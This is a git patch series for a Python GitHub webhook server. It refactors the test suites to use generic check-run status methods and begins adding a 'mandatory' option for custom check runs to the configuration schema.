check_run_handler.set_check_in_progress(name=CONVENTIONAL_TITLE_STR) mock_set_status.assert_called_once_with(check_run=CONVENTIONAL_TITLE_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_conventional_title_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_conventional_title(self, check_run_handler: CheckRunHandler) -> None: """Test setting conventional title check to success status.""" output = {"title": "Title valid", "summary": "Title summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_conventional_title_success(output) + await check_run_handler.set_check_success(name=CONVENTIONAL_TITLE_STR, output=output) mock_set_status.assert_called_once_with( check_run=CONVENTIONAL_TITLE_STR, conclusion=SUCCESS_STR, output=output ) @pytest.mark.asyncio - async def test_set_conventional_title_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_conventional_title(self, check_run_handler: CheckRunHandler) -> None: """Test setting conventional title check to failure status.""" output = {"title": "Title invalid", "summary": "Title summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_conventional_title_failure(output) + await check_run_handler.set_check_failure(name=CONVENTIONAL_TITLE_STR, output=output) mock_set_status.assert_called_once_with( check_run=CONVENTIONAL_TITLE_STR, conclusion=FAILURE_STR, output=output ) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index af019013..7329edde 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -111,7 +111,7 @@ async def test_set_custom_check_queued(self, check_run_handler: CheckRunHandler) check_name = "lint" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_custom_check_queued(name=check_name) + await check_run_handler.set_check_queued(name=check_name) mock_set_status.assert_called_once_with(check_run=check_name, status=QUEUED_STR) @pytest.mark.asyncio @@ -120,7 +120,7 @@ async def test_set_custom_check_in_progress(self, check_run_handler: CheckRunHan check_name = "lint" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_custom_check_in_progress(name=check_name) + await check_run_handler.set_check_in_progress(name=check_name) mock_set_status.assert_called_once_with(check_run=check_name, status=IN_PROGRESS_STR) @pytest.mark.asyncio @@ -130,7 +130,7 @@ async def test_set_custom_check_success_with_output(self, check_run_handler: Che output = {"title": "Lint passed", "summary": "All checks passed", "text": "No issues found"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_custom_check_success(name=check_name, output=output) + await check_run_handler.set_check_success(name=check_name, output=output) mock_set_status.assert_called_once_with( check_run=check_name, conclusion=SUCCESS_STR, @@ -143,7 +143,7 @@ async def test_set_custom_check_success_without_output(self, check_run_handler: check_name = "lint" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_custom_check_success(name=check_name, output=None) + await check_run_handler.set_check_success(name=check_name, output=None) mock_set_status.assert_called_once_with( check_run=check_name, conclusion=SUCCESS_STR, @@ -157,7 +157,7 @@ async def test_set_custom_check_failure_with_output(self, check_run_handler: Che output = {"title": "Security scan failed", "summary": "Vulnerabilities found", "text": "3 critical issues"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_custom_check_failure(name=check_name, output=output) + await check_run_handler.set_check_failure(name=check_name, output=output) mock_set_status.assert_called_once_with( check_run=check_name, conclusion=FAILURE_STR, @@ -170,7 +170,7 @@ async def test_set_custom_check_failure_without_output(self, check_run_handler: check_name = "security-scan" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_custom_check_failure(name=check_name, output=None) + await check_run_handler.set_check_failure(name=check_name, output=None) mock_set_status.assert_called_once_with( check_run=check_name, conclusion=FAILURE_STR, @@ -212,9 +212,9 @@ def runner_handler(self, mock_github_webhook: Mock) -> RunnerHandler: """Create a RunnerHandler instance with mocked dependencies.""" handler = RunnerHandler(mock_github_webhook) # Mock check_run_handler methods - handler.check_run_handler.set_custom_check_in_progress = AsyncMock() - handler.check_run_handler.set_custom_check_success = AsyncMock() - handler.check_run_handler.set_custom_check_failure = AsyncMock() + handler.check_run_handler.set_check_in_progress = AsyncMock() + handler.check_run_handler.set_check_success = AsyncMock() + handler.check_run_handler.set_check_failure = AsyncMock() handler.check_run_handler.get_check_run_text = Mock(return_value="Mock output text") return handler @@ -250,8 +250,8 @@ async def test_run_custom_check_success(self, runner_handler: RunnerHandler, moc await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Verify check run status updates - runner_handler.check_run_handler.set_custom_check_in_progress.assert_called_once_with(name="lint") - runner_handler.check_run_handler.set_custom_check_success.assert_called_once() + runner_handler.check_run_handler.set_check_in_progress.assert_called_once_with(name="lint") + runner_handler.check_run_handler.set_check_success.assert_called_once() # Verify command was executed mock_run.assert_called_once() @@ -279,7 +279,7 @@ async def test_run_custom_check_failure(self, runner_handler: RunnerHandler, moc await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Verify failure status was set - runner_handler.check_run_handler.set_custom_check_failure.assert_called_once() + runner_handler.check_run_handler.set_check_failure.assert_called_once() @pytest.mark.asyncio async def test_run_custom_check_checkout_failure( @@ -300,7 +300,7 @@ async def test_run_custom_check_checkout_failure( await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Verify failure status was set due to checkout failure - runner_handler.check_run_handler.set_custom_check_failure.assert_called_once() + runner_handler.check_run_handler.set_check_failure.assert_called_once() @pytest.mark.asyncio async def test_run_custom_check_command_execution_in_worktree( @@ -514,8 +514,8 @@ def mock_pull_request(self) -> Mock: async def test_custom_checks_execution_workflow(self, mock_github_webhook: Mock, mock_pull_request: Mock) -> None: """Test complete workflow of custom check execution.""" runner_handler = RunnerHandler(mock_github_webhook) - runner_handler.check_run_handler.set_custom_check_in_progress = AsyncMock() - runner_handler.check_run_handler.set_custom_check_success = AsyncMock() + runner_handler.check_run_handler.set_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_check_success = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Mock output") check_config = mock_github_webhook.custom_check_runs[0] # lint check @@ -536,8 +536,8 @@ async def test_custom_checks_execution_workflow(self, mock_github_webhook: Mock, await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Verify workflow: in_progress -> execute -> success - runner_handler.check_run_handler.set_custom_check_in_progress.assert_called_once() - runner_handler.check_run_handler.set_custom_check_success.assert_called_once() + runner_handler.check_run_handler.set_check_in_progress.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_called_once() class TestCustomCheckRunsRetestCommand: @@ -582,8 +582,8 @@ async def test_retest_all_custom_checks(self, mock_github_webhook: Mock) -> None async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: Mock) -> None: """Test that /retest custom:name triggers check execution.""" runner_handler = RunnerHandler(mock_github_webhook) - runner_handler.check_run_handler.set_custom_check_in_progress = AsyncMock() - runner_handler.check_run_handler.set_custom_check_success = AsyncMock() + runner_handler.check_run_handler.set_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_check_success = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Test output") mock_pull_request = Mock() @@ -609,8 +609,8 @@ async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Verify check was executed - runner_handler.check_run_handler.set_custom_check_in_progress.assert_called_once() - runner_handler.check_run_handler.set_custom_check_success.assert_called_once() + runner_handler.check_run_handler.set_check_in_progress.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_called_once() @pytest.mark.asyncio async def test_custom_check_name_without_prefix(self) -> None: @@ -735,7 +735,9 @@ def mock_which(cmd: str) -> str | None: # Warning should be logged for missing executable mock_github_webhook.logger.warning.assert_any_call( - "Custom check 'missing-exec' command executable 'nonexistent_command' not found on server, skipping" + "Custom check 'missing-exec' command executable 'nonexistent_command' not found on server. " + "Please open an issue to request adding this executable to the container, " + "or submit a PR to add it. Skipping check." ) def test_multiple_validation_failures(self, mock_github_webhook: Mock) -> None: @@ -904,8 +906,8 @@ async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) async def test_custom_check_with_long_command(self, mock_github_webhook: Mock) -> None: """Test custom check with long multiline command from config.""" runner_handler = RunnerHandler(mock_github_webhook) - runner_handler.check_run_handler.set_custom_check_in_progress = AsyncMock() - runner_handler.check_run_handler.set_custom_check_success = AsyncMock() + runner_handler.check_run_handler.set_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_check_success = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Output") mock_pull_request = Mock() @@ -933,4 +935,4 @@ async def test_custom_check_with_long_command(self, mock_github_webhook: Mock) - await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) # Should succeed with multiline command - runner_handler.check_run_handler.set_custom_check_success.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_called_once() diff --git a/webhook_server/tests/test_pull_request_handler.py b/webhook_server/tests/test_pull_request_handler.py index 66bdec70..1a8b81ad 100644 --- a/webhook_server/tests/test_pull_request_handler.py +++ b/webhook_server/tests/test_pull_request_handler.py @@ -116,10 +116,8 @@ def pull_request_handler(self, mock_github_webhook: Mock, mock_owners_file_handl handler.check_run_handler.set_merge_check_success = AsyncMock() handler.check_run_handler.set_merge_check_failure = AsyncMock() handler.check_run_handler.set_merge_check_queued = AsyncMock() - handler.check_run_handler.set_run_tox_check_queued = AsyncMock() + handler.check_run_handler.set_check_queued = AsyncMock() handler.check_run_handler.set_run_pre_commit_check_queued = AsyncMock() - handler.check_run_handler.set_python_module_install_queued = AsyncMock() - handler.check_run_handler.set_container_build_queued = AsyncMock() handler.check_run_handler.set_conventional_title_queued = AsyncMock() handler.runner_handler = Mock() @@ -1666,10 +1664,8 @@ async def test_process_opened_setup_task_failure( patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), patch.object(pull_request_handler.check_run_handler, "set_merge_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_run_tox_check_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler.check_run_handler, "set_run_pre_commit_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_python_module_install_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_container_build_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), @@ -1698,10 +1694,8 @@ async def test_process_opened_ci_task_failure( patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), patch.object(pull_request_handler.check_run_handler, "set_merge_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_run_tox_check_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler.check_run_handler, "set_run_pre_commit_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_python_module_install_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_container_build_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), diff --git a/webhook_server/tests/test_runner_handler.py b/webhook_server/tests/test_runner_handler.py index 038162f3..cdf0b28c 100644 --- a/webhook_server/tests/test_runner_handler.py +++ b/webhook_server/tests/test_runner_handler.py @@ -4,6 +4,13 @@ import pytest from webhook_server.libs.handlers.runner_handler import RunnerHandler +from webhook_server.utils.constants import ( + BUILD_CONTAINER_STR, + CONVENTIONAL_TITLE_STR, + PRE_COMMIT_STR, + PYTHON_MODULE_INSTALL_STR, + TOX_STR, +) class TestRunnerHandler: @@ -139,7 +146,7 @@ async def test_run_tox_check_in_progress(self, runner_handler: RunnerHandler, mo with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=True) ): - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: # Simple mock that returns the expected tuple mock_checkout.return_value = AsyncMock() @@ -149,7 +156,7 @@ async def test_run_tox_check_in_progress(self, runner_handler: RunnerHandler, mo "webhook_server.utils.helpers.run_command", new=AsyncMock(return_value=(True, "success", "")) ): await runner_handler.run_tox(mock_pull_request) - mock_set_progress.assert_called_once() + mock_set_progress.assert_called_once_with(name=TOX_STR) @pytest.mark.asyncio async def test_run_tox_prepare_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -159,8 +166,8 @@ async def test_run_tox_prepare_failure(self, runner_handler: RunnerHandler, mock with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -168,8 +175,10 @@ async def test_run_tox_prepare_failure(self, runner_handler: RunnerHandler, mock ) mock_checkout.return_value.__aexit__ = AsyncMock(return_value=None) await runner_handler.run_tox(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_failure.assert_called_once() + mock_set_progress.assert_called_once_with(name=TOX_STR) + mock_set_failure.assert_called_once_with( + name=TOX_STR, output={"title": "Tox", "summary": "", "text": "dummy output"} + ) @pytest.mark.asyncio async def test_run_tox_success(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -179,10 +188,10 @@ async def test_run_tox_success(self, runner_handler: RunnerHandler, mock_pull_re runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_run_tox_check_in_progress", new_callable=AsyncMock + runner_handler.check_run_handler, "set_check_in_progress", new_callable=AsyncMock ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_run_tox_check_success", new_callable=AsyncMock + runner_handler.check_run_handler, "set_check_success", new_callable=AsyncMock ) as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -195,8 +204,10 @@ async def test_run_tox_success(self, runner_handler: RunnerHandler, mock_pull_re new=AsyncMock(return_value=(True, "success", "")), ): await runner_handler.run_tox(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_success.assert_called_once() + mock_set_progress.assert_called_once_with(name=TOX_STR) + mock_set_success.assert_called_once_with( + name=TOX_STR, output={"title": "Tox", "summary": "", "text": "dummy output"} + ) @pytest.mark.asyncio async def test_run_tox_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -205,8 +216,8 @@ async def test_run_tox_failure(self, runner_handler: RunnerHandler, mock_pull_re with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -218,8 +229,10 @@ async def test_run_tox_failure(self, runner_handler: RunnerHandler, mock_pull_re new=AsyncMock(return_value=(False, "output", "error")), ): await runner_handler.run_tox(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_failure.assert_called_once() + mock_set_progress.assert_called_once_with(name=TOX_STR) + mock_set_failure.assert_called_once_with( + name=TOX_STR, output={"title": "Tox", "summary": "", "text": "dummy output"} + ) @pytest.mark.asyncio async def test_run_pre_commit_disabled(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -235,12 +248,8 @@ async def test_run_pre_commit_success(self, runner_handler: RunnerHandler, mock_ with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object( - runner_handler.check_run_handler, "set_run_pre_commit_check_in_progress" - ) as mock_set_progress: - with patch.object( - runner_handler.check_run_handler, "set_run_pre_commit_check_success" - ) as mock_set_success: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_success") as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -252,8 +261,11 @@ async def test_run_pre_commit_success(self, runner_handler: RunnerHandler, mock_ new=AsyncMock(return_value=(True, "success", "")), ): await runner_handler.run_pre_commit(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_success.assert_called_once() + mock_set_progress.assert_called_once_with(name=PRE_COMMIT_STR) + mock_set_success.assert_called_once_with( + name=PRE_COMMIT_STR, + output={"title": "Pre-Commit", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_run_build_container_disabled(self, runner_handler: RunnerHandler) -> None: @@ -284,10 +296,10 @@ async def test_run_build_container_success(self, runner_handler: RunnerHandler, runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -299,8 +311,11 @@ async def test_run_build_container_success(self, runner_handler: RunnerHandler, runner_handler, "run_podman_command", new=AsyncMock(return_value=(True, "success", "")) ): await runner_handler.run_build_container(pull_request=mock_pull_request) - mock_set_progress.assert_awaited_once() - mock_set_success.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=BUILD_CONTAINER_STR) + mock_set_success.assert_awaited_once_with( + name=BUILD_CONTAINER_STR, + output={"title": "Build container", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_run_build_container_with_push_success( @@ -315,10 +330,10 @@ async def test_run_build_container_with_push_success( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -330,8 +345,11 @@ async def test_run_build_container_with_push_success( runner_handler, "run_podman_command", new=AsyncMock(return_value=(True, "success", "")) ): await runner_handler.run_build_container(pull_request=mock_pull_request, push=True) - mock_set_progress.assert_awaited_once() - mock_set_success.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=BUILD_CONTAINER_STR) + mock_set_success.assert_awaited_once_with( + name=BUILD_CONTAINER_STR, + output={"title": "Build container", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_run_install_python_module_disabled( @@ -356,12 +374,8 @@ async def test_run_install_python_module_success( with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object( - runner_handler.check_run_handler, "set_python_module_install_in_progress" - ) as mock_set_progress: - with patch.object( - runner_handler.check_run_handler, "set_python_module_install_success" - ) as mock_set_success: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_success") as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -373,8 +387,11 @@ async def test_run_install_python_module_success( new=AsyncMock(return_value=(True, "success", "")), ): await runner_handler.run_install_python_module(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_success.assert_called_once() + mock_set_progress.assert_called_once_with(name=PYTHON_MODULE_INSTALL_STR) + mock_set_success.assert_called_once_with( + name=PYTHON_MODULE_INSTALL_STR, + output={"title": "Python module installation", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_run_install_python_module_failure( @@ -385,12 +402,8 @@ async def test_run_install_python_module_failure( with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object( - runner_handler.check_run_handler, "set_python_module_install_in_progress" - ) as mock_set_progress: - with patch.object( - runner_handler.check_run_handler, "set_python_module_install_failure" - ) as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -402,8 +415,11 @@ async def test_run_install_python_module_failure( new=AsyncMock(return_value=(False, "output", "error")), ): await runner_handler.run_install_python_module(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_failure.assert_called_once() + mock_set_progress.assert_called_once_with(name=PYTHON_MODULE_INSTALL_STR) + mock_set_failure.assert_called_once_with( + name=PYTHON_MODULE_INSTALL_STR, + output={"title": "Python module installation", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio @pytest.mark.parametrize( @@ -513,17 +529,17 @@ async def test_conventional_title_validation( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_conventional_title_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: await runner_handler.run_conventional_title_check(mock_pull_request) - mock_set_progress.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=CONVENTIONAL_TITLE_STR) if should_pass: assert mock_set_success.await_count == 1, ( @@ -544,13 +560,13 @@ async def test_run_conventional_title_check_disabled( runner_handler.github_webhook.conventional_title = "" with patch.object( - runner_handler.check_run_handler, "set_conventional_title_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: await runner_handler.run_conventional_title_check(mock_pull_request) @@ -582,17 +598,17 @@ async def test_run_conventional_title_check_custom_types( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_conventional_title_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: await runner_handler.run_conventional_title_check(mock_pull_request) - mock_set_progress.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=CONVENTIONAL_TITLE_STR) mock_set_success.assert_awaited_once() mock_set_failure.assert_not_awaited() @@ -607,15 +623,15 @@ async def test_run_conventional_title_check_in_progress( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=True) ): with patch.object( - runner_handler.check_run_handler, "set_conventional_title_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: await runner_handler.run_conventional_title_check(mock_pull_request) # Should still proceed with the check - mock_set_progress.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=CONVENTIONAL_TITLE_STR) mock_set_success.assert_awaited_once() @pytest.mark.asyncio @@ -802,13 +818,13 @@ async def test_run_build_container_push_failure(self, runner_handler, mock_pull_ runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object( - runner_handler.check_run_handler, "set_container_build_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -861,10 +877,10 @@ async def test_run_build_container_with_command_args(self, runner_handler, mock_ runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -876,8 +892,11 @@ async def test_run_build_container_with_command_args(self, runner_handler, mock_ await runner_handler.run_build_container( pull_request=mock_pull_request, command_args="--extra-arg" ) - mock_set_progress.assert_awaited_once() - mock_set_success.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=BUILD_CONTAINER_STR) + mock_set_success.assert_awaited_once_with( + name=BUILD_CONTAINER_STR, + output={"title": "Build container", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_cherry_pick_manual_needed(self, runner_handler, mock_pull_request): @@ -991,10 +1010,10 @@ async def test_run_build_container_prepare_failure( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: # Repository preparation fails @@ -1006,8 +1025,11 @@ async def test_run_build_container_prepare_failure( with patch.object(runner_handler, "run_podman_command", new=AsyncMock()) as mock_run_podman: await runner_handler.run_build_container(pull_request=mock_pull_request) # Should set in progress - mock_set_progress.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=BUILD_CONTAINER_STR) # Should set failure due to repo preparation failure - mock_set_failure.assert_awaited_once() + mock_set_failure.assert_awaited_once_with( + name=BUILD_CONTAINER_STR, + output={"title": "Build container", "summary": "", "text": "dummy output"}, + ) # Should NOT call run_podman_command (early return) mock_run_podman.assert_not_called() From c96a569ca9829df9fa332035244866b6624f8a0e Mon Sep 17 00:00:00 2001 From: rnetser Date: Sun, 11 Jan 2026 18:54:15 +0200 Subject: [PATCH 20/33] feat: add mandatory option for custom check runs Add optional 'mandatory' boolean field to custom check runs configuration to control whether a check must pass for PR mergeability. Changes: - Schema: added 'mandatory' property (default: true for backward compatibility) - Check run handler: only mandatory checks added to required status checks - Pull request handler: welcome message shows '(optional)' for non-mandatory checks - Tests: 4 new tests verifying mandatory option behavior Backward compatible: checks without 'mandatory' field default to true. --- webhook_server/config/schema.yaml | 6 + .../libs/handlers/check_run_handler.py | 7 +- .../libs/handlers/pull_request_handler.py | 7 + .../tests/test_custom_check_runs.py | 122 +++++++++++++++++- 4 files changed, 136 insertions(+), 6 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index f298907e..44c4364a 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -332,11 +332,13 @@ properties: Examples: - name: lint command: uv tool run --from ruff ruff check + mandatory: true env: - TOKEN=xyz - DEBUG=true - name: security-scan command: uv tool run --from bandit bandit -r . + mandatory: false env: - CUSTOM_VAR=custom_value - ENABLE_SCAN=1 @@ 